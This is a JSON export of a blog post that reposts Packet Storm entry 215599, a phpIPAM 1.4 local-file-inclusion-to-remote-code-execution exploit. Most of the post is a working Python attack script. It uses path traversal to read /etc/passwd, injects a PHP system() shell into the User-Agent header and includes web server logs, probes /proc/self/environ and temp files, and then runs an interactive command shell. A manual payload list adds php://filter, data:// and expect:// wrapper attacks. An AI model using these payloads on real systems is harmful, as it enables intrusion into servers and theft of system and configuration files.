{"id":41048,"date":"2026-02-16T11:45:49","date_gmt":"2026-02-16T11:45:49","guid":{"rendered":"http:\/\/localhost\/?p=41048"},"modified":"2026-02-16T11:45:49","modified_gmt":"2026-02-16T11:45:49","slug":"phpipam-14-code-execution-local-file-inclusion","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41048","title":{"rendered":"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:18:48&#8243;,&#8221;description&#8221;:&#8221;A critical local file inclusion vulnerability exists in in index.php in phpIPAM version 1.4. Attackers can exploit this to read sensitive system files and potentially perform remote code execution&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215599&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;phpIPAM 1.4 LFI to RCE Exploit\\n    \\n    \\n    =============================================================================================================================================\\n    | # Title     : phpIPAM 1.4 LFI to RCE Exploit\\n                                                                        |\\n    | # Author    : indoushka\\n                                                                       |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2\\n    (64 bits)                                                            |\\n    | # Vendor    : https:\/\/github.com\/phpipam\/phpipam\/blob\/master\/index.php\\n                                                                      |\\n    \\n    =============================================================================================================================================\\n    \\n    [+] Summary : A critical Local File Inclusion (LFI) vulnerability exists\\n    in phpIPAM&#8217;s main index.php file due to insufficient input validation\\n                  when including page files. Attackers can exploit this to\\n    read sensitive system files, potentially escalate to Remote Code Execution\\n    (RCE),\\n                            and gain complete control of the server.\\n    \\n    \\n    [+]  POC : python poc.py\\n    \\n    #!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;\\n    phpIPAM LFI to RCE Exploit\\n    \\&#8221;\\&#8221;\\&#8221;\\n    \\n    import requests\\n    import sys\\n    import urllib.parse\\n    \\n    class phpIPAM_Exploit:\\n        def __init__(self, target):\\n            self.target = target.rstrip(&#8216;\/&#8217;)\\n            self.session = requests.Session()\\n    \\n        def check_lfi(self, path):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u062e\u062a\u0628\u0627\u0631 \u062a\u0636\u0645\u064a\u0646 \u0627\u0644\u0645\u0644\u0641\u0627\u062a\\&#8221;\\&#8221;\\&#8221;\\n            params = {&#8216;page&#8217;: path}\\n            response = self.session.get(f\\&#8221;{self.target}\/index.php\\&#8221;,\\n    params=params)\\n            return response\\n    \\n        def exploit_proc_self_environ(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \/proc\/self\/environ\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] Testing \/proc\/self\/environ LFI&#8230;\\&#8221;)\\n    \\n            # \u0623\u0648\u0644\u0627\u064b: \u062d\u0642\u0646 PHP \u0641\u064a User-Agent\\n            headers = {\\n                &#8216;User-Agent&#8217;: &#8216;\\u003c?php system($_GET[\\&#8221;cmd\\&#8221;]); ?\\u003e&#8217;\\n            }\\n    \\n            response = self.session.get(self.target, headers=headers)\\n    \\n            # \u062b\u0627\u0646\u064a\u0627\u064b: \u062a\u0636\u0645\u064a\u0646 \u0645\u0644\u0641 \u0627\u0644\u0633\u062c\u0644\\n            log_paths = [\\n                &#8216;\/var\/log\/apache2\/access.log&#8217;,\\n                &#8216;\/var\/log\/httpd\/access_log&#8217;,\\n                &#8216;\/var\/log\/nginx\/access.log&#8217;,\\n                &#8216;\/proc\/self\/environ&#8217;,\\n                &#8216;\/proc\/self\/fd\/0&#8217;\\n            ]\\n    \\n            for path in log_paths:\\n                print(f\\&#8221;[*] Trying {path}&#8230;\\&#8221;)\\n                response = self.check_lfi(f\\&#8221;..\/..\/..\/..\/{path}\\&#8221;)\\n    \\n                if &#8216;PHP&#8217; in response.text or &#8216;php&#8217; in response.text:\\n                    print(f\\&#8221;[+] Possible LFI found: {path}\\&#8221;)\\n    \\n                    # \u0627\u062e\u062a\u0628\u0627\u0631 \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0648\u0627\u0645\u0631\\n                    cmd_response = self.session.get(\\n                        f\\&#8221;{self.target}\/index.php\\&#8221;,\\n                        params={&#8216;page&#8217;: f&#8217;..\/..\/..\/..\/{path}&#8217;, &#8216;cmd&#8217;:\\n    &#8216;whoami&#8217;}\\n                    )\\n    \\n                    if cmd_response.status_code == 200:\\n                        print(\\&#8221;[+] RCE successful!\\&#8221;)\\n                        return True\\n    \\n            return False\\n    \\n        def upload_and_include(self, php_code):\\n            \\&#8221;\\&#8221;\\&#8221;\u0631\u0641\u0639 \u0648\u062a\u0636\u0645\u064a\u0646 \u0645\u0644\u0641 \u0645\u0624\u0642\u062a (\u0625\u0630\u0627 \u0643\u0627\u0646 \u0647\u0646\u0627\u0643 \u0631\u0641\u0639 \u0645\u0644\u0641\u0627\u062a)\\&#8221;\\&#8221;\\&#8221;\\n            # \u0647\u0630\u0627 \u064a\u062a\u0637\u0644\u0628 \u062b\u063a\u0631\u0629 \u0631\u0641\u0639 \u0645\u0644\u0641\u0627\u062a \u0623\u064a\u0636\u064b\u0627\\n            print(\\&#8221;[*] Trying to upload and include PHP file&#8230;\\&#8221;)\\n    \\n            # PHP shell base64 encoded\\n            shell = \\&#8221;\\u003c?php echo\\n    base64_decode(&#8216;PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&#8217;); ?\\u003e\\&#8221;\\n    \\n            # \u0645\u062d\u0627\u0648\u0644\u0629 \u062a\u0636\u0645\u064a\u0646 \u0645\u0644\u0641\u0627\u062a \/tmp\\n            tmp_files = [\\n                &#8216;\/tmp\/sess_*&#8217;,\\n                &#8216;\/tmp\/php*&#8217;,\\n                &#8216;\/tmp\/upload*&#8217;\\n            ]\\n    \\n            for pattern in tmp_files:\\n                for i in range(100):\\n                    filename = pattern.replace(&#8216;*&#8217;, str(i))\\n                    response = self.check_lfi(f\\&#8221;..\/..\/..\/..\/{filename}\\&#8221;)\\n                    if &#8216;uid=&#8217; in response.text or &#8216;root&#8217; in\\n    response.text.lower():\\n                        print(f\\&#8221;[+] Found vulnerable temp file: {filename}\\&#8221;)\\n                        return filename\\n    \\n            return None\\n    \\n        def interactive_shell(self, lfi_path):\\n            \\&#8221;\\&#8221;\\&#8221;\u0642\u0634\u0631\u0629 \u062a\u0641\u0627\u0639\u0644\u064a\u0629 \u0628\u0639\u062f \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\&#8221;\\&#8221;\\&#8221;\\n            print(f\\&#8221;\\\\n[+] Interactive shell via LFI: {lfi_path}\\&#8221;)\\n            print(\\&#8221;[+] Type &#8216;exit&#8217; to quit\\\\n\\&#8221;)\\n    \\n            while True:\\n                cmd = input(\\&#8221;shell\\&#8221;).strip()\\n                if cmd.lower() == &#8216;exit&#8217;:\\n                    break\\n    \\n                params = {\\n                    &#8216;page&#8217;: f&#8217;..\/..\/..\/..\/{lfi_path}&#8217;,\\n                    &#8216;cmd&#8217;: cmd\\n                }\\n    \\n                response = self.session.get(f\\&#8221;{self.target}\/index.php\\&#8221;,\\n    params=params)\\n    \\n                # \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0627\u0644\u0646\u0627\u062a\u062c\\n                lines = response.text.split(&#8216;\\\\n&#8217;)\\n                for line in lines:\\n                    if line and not line.startswith((&#8216;\\u003c&#8217;, &#8216;\\u003c?&#8217;, &#8216;\\u003c!&#8217;)) and\\n    &#8216;html&#8217; not in line.lower():\\n                        print(line[:500])  # \u0637\u0628\u0627\u0639\u0629 \u0623\u0648\u0644 500 \u062d\u0631\u0641\\n    \\n        def run(self):\\n            \\&#8221;\\&#8221;\\&#8221;\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644\\&#8221;\\&#8221;\\&#8221;\\n            print(\\&#8221;[*] phpIPAM LFI\/RFI Exploit\\&#8221;)\\n            print(f\\&#8221;[*] Target: {self.target}\\&#8221;)\\n    \\n            # \u0627\u062e\u062a\u0628\u0627\u0631 LFI \u0623\u0633\u0627\u0633\u064a\\n            test_files = [\\n                &#8216;..\/..\/..\/..\/etc\/passwd&#8217;,\\n                &#8216;..\/..\/..\/..\/etc\/hosts&#8217;,\\n                &#8216;..\/..\/..\/..\/windows\/win.ini&#8217;,\\n                &#8216;&#8230;.\/\/&#8230;.\/\/&#8230;.\/\/&#8230;.\/\/etc\/passwd&#8217;,\\n                &#8216;..\\\\\\\\..\\\\\\\\..\\\\\\\\..\\\\\\\\windows\\\\\\\\win.ini&#8217;\\n            ]\\n    \\n            for test in test_files:\\n                print(f\\&#8221;[*] Testing: {test}\\&#8221;)\\n                response = self.check_lfi(test)\\n    \\n                if &#8216;root:&#8217; in response.text or &#8216;[extensions]&#8217; in\\n    response.text:\\n                    print(f\\&#8221;[+] LFI confirmed with: {test}\\&#8221;)\\n                    print(f\\&#8221;[+] Response preview: {response.text[:200]}\\&#8221;)\\n    \\n                    # \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0645\u0628\u0627\u0634\u0631\\n                    self.interactive_shell(test.replace(&#8216;..\/..\/..\/..\/&#8217;, &#8221;))\\n                    return True\\n    \\n            # \u0645\u062d\u0627\u0648\u0644\u0627\u062a \u0623\u062e\u0631\u0649\\n            if self.exploit_proc_self_environ():\\n                return True\\n    \\n            print(\\&#8221;[-] No LFI vulnerability found\\&#8221;)\\n            return False\\n    \\n    # \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u064a\u062f\u0648\u064a\\n    def manual_exploitation():\\n        print(\\&#8221;\\&#8221;\\&#8221;\\n    === phpIPAM LFI\/RFI Manual Exploitation ===\\n    \\n    1. Basic LFI Test:\\n       \/index.php?page=..\/..\/..\/..\/etc\/passwd\\n       \/index.php?page=..\/..\/..\/..\/etc\/shadow\\n       \/index.php?page=..\/..\/..\/..\/windows\/win.ini\\n    \\n    2. Log Poisoning:\\n       # Step 1: Inject PHP into logs\\n       GET \/index.php HTTP\/1.1\\n       User-Agent: \\u003c?php system($_GET[&#8216;cmd&#8217;]); ?\\u003e\\n    \\n       # Step 2: Include the log file\\n       \/index.php?page=..\/..\/..\/..\/var\/log\/apache2\/access.log\\u0026cmd=id\\n    \\n    3. PHP Filters (if enabled):\\n       \/index.php?page=php:\/\/filter\/convert.base64-encode\/resource=config.php\\n       \/index.php?page=php:\/\/filter\/resource=\/etc\/passwd\\n    \\n    4. Data URI (if allow_url_include=On):\\n       \/index.php?page=data:\/\/text\/plain,\\u003c?php phpinfo();?\\u003e\\n    \\n    \/index.php?page=data:\/\/text\/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=\\n    \\n    5. Expect Wrapper (rare):\\n       \/index.php?page=expect:\/\/ls\\n        \\&#8221;\\&#8221;\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        if len(sys.argv) != 2:\\n            print(\\&#8221;Usage: python3 phpipam_exploit.py \\u003ctarget_url\\u003e\\&#8221;)\\n            print(\\&#8221;Example: python3 phpipam_exploit.py\\n    http:\/\/localhost\/phpipam\\&#8221;)\\n            manual_exploitation()\\n            sys.exit(1)\\n    \\n        target = sys.argv[1]\\n        exploit = phpIPAM_Exploit(target)\\n        exploit.run()\\n    \\n    \\n    Greetings to\\n    :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln\\n    (John Page aka hyp3rlinx)|\\n    \\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215599&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215599\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:18:48&#8243;,&#8221;description&#8221;:&#8221;A critical local file inclusion vulnerability exists in in index.php in phpIPAM version 1.4. Attackers can exploit this to read sensitive system files and potentially&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41048","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41048\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:18:48&#8243;,&#8221;description&#8221;:&#8221;A critical local file inclusion vulnerability exists in in index.php in phpIPAM version 1.4. Attackers can exploit this to read sensitive system files and potentially...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41048\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-16T11:45:49+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 phpIPAM 1.4 Code Execution \\\/ Local File Inclusion_PACKETSTORM:215599\",\"datePublished\":\"2026-02-16T11:45:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048\"},\"wordCount\":1041,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41048#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048\",\"name\":\"\ud83d\udcc4 phpIPAM 1.4 Code Execution \\\/ Local File Inclusion_PACKETSTORM:215599 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-16T11:45:49+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41048\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41048#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 phpIPAM 1.4 Code Execution \\\/ Local File Inclusion_PACKETSTORM:215599\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41048","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:18:48&#8243;,&#8221;description&#8221;:&#8221;A critical local file inclusion vulnerability exists in in index.php in phpIPAM version 1.4. Attackers can exploit this to read sensitive system files and potentially...","og_url":"https:\/\/zero.redgem.net\/?p=41048","og_site_name":"zero redgem","article_published_time":"2026-02-16T11:45:49+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41048#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41048"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599","datePublished":"2026-02-16T11:45:49+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41048"},"wordCount":1041,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41048#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41048","url":"https:\/\/zero.redgem.net\/?p=41048","name":"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-16T11:45:49+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41048#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41048"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41048#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 phpIPAM 1.4 Code Execution \/ Local File Inclusion_PACKETSTORM:215599"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41048","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=41048"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/41048\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=41048"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=41048"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=41048"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}